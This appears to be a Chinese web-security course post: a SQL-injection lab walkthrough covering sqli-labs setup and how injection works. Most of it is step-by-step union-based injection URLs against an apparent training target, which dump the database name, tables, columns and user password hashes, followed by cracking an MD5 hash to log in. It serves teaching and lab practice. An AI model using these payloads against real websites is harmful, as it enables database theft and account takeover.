web安全|渗透测试|网络安全12天

第12天:WEB漏洞-SQL注入之简要注入

web安全|渗透测试|网络安全12天_第1张图片
web安全|渗透测试|网络安全12天_第2张图片
当前课程思维导图
web安全|渗透测试|网络安全12天_第3张图片
忍者安全测试系统搭建注意:
1.虚拟机右下角忍盘禁用掉,在下载
2.磁盘大些,本身工具50G,可以给大些
3.安装过程中序列号直接跳过,到时候直接激活即可。

SQL注入安全测试中危害:
1.危害到数据库中的数据
2.危害到网站的权限,需要满足对应的条件。

注入点的产生原理
web安全|渗透测试|网络安全12天_第4张图片
这里,使用id=1查询的结果,limit 0,1可以看出来只有一条记录,显示的是member的信息,但是我想显示users的信息。而limit 0,1只能显示一条记录,所以需要将前面的id=-1;
web安全|渗透测试|网络安全12天_第5张图片
web安全|渗透测试|网络安全12天_第6张图片
注入原理
1.可控变量
2.带入数据库查询
3.变量未存在或过滤不严谨
web安全|渗透测试|网络安全12天_第7张图片
所以这四个都可能有注入点
web安全|渗透测试|网络安全12天_第8张图片
所以,上面2,3有 注入点,随意网站判断注入点,一定要判断好,到底哪些变量有注入点
安装sqli-labs
1.下载对应的github目录,解压到phpstudy的www目录中https://github.com/Audi-1/sqli-labs
2.D:\phpstudy_pro\WWW\sqli-labs-master\sql-connections的db-creds.inc文件修改数据库的用户名和密码
3.创建数据库
web安全|渗透测试|网络安全12天_第9张图片
4.导入数据库文件
web安全|渗透测试|网络安全12天_第10张图片
这里需要注意到如果有报错,需要升级mysql版本
web安全|渗透测试|网络安全12天_第11张图片
这里报错问题的话,是因为php版本问题,从PHP5.0开始mysql_connect()就不推荐使用了,到PHP7.0就直接被废弃了,如果PHP为7.0及以上版本的话用mysqli_connect()代替
这里,我尝试换了之后,还有其他的报错,索性我就将PHP的版本降级,这样就没有报错了。
之前还提过一个,mysql的版本最好是不要太低,要不然也可能用不了。
知识点1
web安全|渗透测试|网络安全12天_第12张图片
低版本的采用暴力破解,高版本采用有根据的查询。
web安全|渗透测试|网络安全12天_第13张图片
这里,有数据库名称,表名、列名、数据,我们最后要得到的是数据,所以我们需要一步一步的来完成。
每个数据库对应一个网站。
所以,当你一步一步的查询数据的时候,需要一步一步的查询数据库,表名,列名,在找到数据。

select * from users where id=1 and 1=1 limit 0,1 正常
select * from users where id=1 and 1=2 limit 0,1 错误
这是最初始的注入点检查方法,若是且,那么真真为真,真假为假,所以存在注入点
select * from users where id=1 or 1=1 limit 0,1 正常
select * from users where id=1 or 1=2 limit 0,1 正常
这种情况,若是或,那么真真为真,真假为真,那么就判断不出来有驻点了。
web安全|渗透测试|网络安全12天_第14张图片
web安全|渗透测试|网络安全12天_第15张图片
select * from users where id=1西瓜 limit 0,1
这是最新的驻点检测方法,若是页面不同于正常页面,那说明带入数据库查询,也就是接受了参数,那么存在驻点,若是你的参数,他不带入数据库查询,那么自然就不存在注入
web安全|渗透测试|网络安全12天_第16张图片
还有一种情况,若是网站对输入的参数进行了检测,便会跳转到404页面,这时候也是不存在注入的。

SQL注入步骤
1.判断注入点在哪里
2.找到该表的字段数量,order by 错误与正确的临界值
web安全|渗透测试|网络安全12天_第17张图片
http://219.153.49.228:42980/new_list.php?id=1 order by 4,这里是按照第几个字段排序,当按照第四个字段排序的时候,显示还是正常,在增加一个显示不正常,说明,共四个字段。
3.报错猜解准备
web安全|渗透测试|网络安全12天_第18张图片
http://219.153.49.228:42980/new_list.php?id=-1 and 1=2 union select 1,2,3,4
这里id使其为负数或者1=2为假,那么前面是没有查询结果的,这时可以使用联合查询,看下页面出现的数字2和3,那么2和3便可以作为信息搜集字段。
web安全|渗透测试|网络安全12天_第19张图片
4.信息搜集
web安全|渗透测试|网络安全12天_第20张图片
均是以函数的形式出现在select语句中
数据库版本version():5.7.22-0ubuntu0.16.04.1 (5.0以下低版本,5.0以上高版本)
数据库名称database():mozhe_Discuz_StormGroup
用户user():root@localhost
操作系统@@version_compile_os:Linux
小知识:在mysql5.0以上版本,存在一个数据库名为information_schema,它是一个存储所有数据库名,表名,列名的数据库,即可以通过搜索这个数据到收集信息。

数据库中"."代表下一级,如xiao.user表示xiao数据库中的user表名
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name 表名
column_name列名
table_schema 数据库名称

这里information_schema是一个数据库名称,下面有好多表名,所以这个需要通过查询一步一步的找到数据
http://219.153.49.228:42980/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’
这里查询表名,查询数据库名为mozhe_Discuz_StormGroup的表名信息。因为这里面只能查询到一条,所以需要使用group_concat
http://219.153.49.228:42980/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’
web安全|渗透测试|网络安全12天_第21张图片
这里可以看到所有的表名
http://219.153.49.228:42980/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’
查询StormGroup_member表名下面的所有字段名称
web安全|渗透测试|网络安全12天_第22张图片
得到表明和字段名,便可以直接查看数据库对应用户表的信息
http://219.153.49.228:42980/new_list.php?id=-1%20union%20select%201,group_concat(name),group_concat(password),4%20from%20StormGroup_member
查询对应的数据信息
web安全|渗透测试|网络安全12天_第23张图片
这里需要在对md5解密
https://www.cmd5.com/
web安全|渗透测试|网络安全12天_第24张图片
登陆成功,获得key
web安全|渗透测试|网络安全12天_第25张图片
web安全|渗透测试|网络安全12天_第26张图片
上面可以看到有两个用户,登陆另一个应该是被禁用
web安全|渗透测试|网络安全12天_第27张图片
我们通过表字段可以看到有status字段,应该是表示是否被禁用
http://219.153.49.228:42980/new_list.php?id=-1%20union%20select%201,name,password,4%20from%20StormGroup_member%20limit%200,1
这里若有多条数据,可以使用limit来看到第一条或者第几条limit 0,1从第一个位置的一个数据拿出来,limit 1,1是从第二个位置,拿出来一个数据。
不同的数据库,对应的漏洞不同。

你可能感兴趣的:(网络安全,web安全,安全)